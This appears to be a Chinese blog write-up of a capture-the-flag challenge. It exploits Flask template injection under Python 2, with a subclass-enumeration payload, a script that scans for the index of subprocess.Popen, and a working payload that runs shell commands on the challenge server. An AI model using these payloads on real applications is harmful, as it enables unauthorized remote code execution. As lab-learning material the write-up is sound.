[CSCCTF 2019 Qual]FlaskLight 记录

这个根据题目名字,flask模板注入,找注入点
[CSCCTF 2019 Qual]FlaskLight 记录_第1张图片

查看源码发现GET传参
直接测试模板注入
[CSCCTF 2019 Qual]FlaskLight 记录_第2张图片
存在sql注入
常规模板注入
试了试之前做过的模板注入,都行不通
然后百度了一波,原来这是python2的
难怪不行

{
    {''.__class__.__mro__[2].__subclasses__()}}

利用这个可以读取所有的类,然后看看能不能RCE
找到catch_warnings类,
[CSCCTF 2019 Qual]FlaskLight 记录_第3张图片
但是无法RCE
看了wp,发现可以利用subprocess.Popen这个类来进行RCE
学废了
网上搜的模板注入,都没说这个类,emmmm
找索引

import requests
import html
import time

for i in range(0,300):
    time.sleep(0.06)
    url='http://4d0aed10-26a2-4108-8b17-9c8aa555ca2d.node3.buuoj.cn?search={
     {\'\'.__class__.__mro__[2].__subclasses__()[%d]}}' %(i)
    r = requests.get(url)
    print(url)
    if "subprocess.Popen" in html.unescape(r.text):
        print(i)
        break

在这里插入图片描述
索引为258
payload

{
    {''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

查看flasklight目录
[CSCCTF 2019 Qual]FlaskLight 记录_第4张图片
另外一个就是flag

你可能感兴趣的:([CSCCTF 2019 Qual]FlaskLight 记录)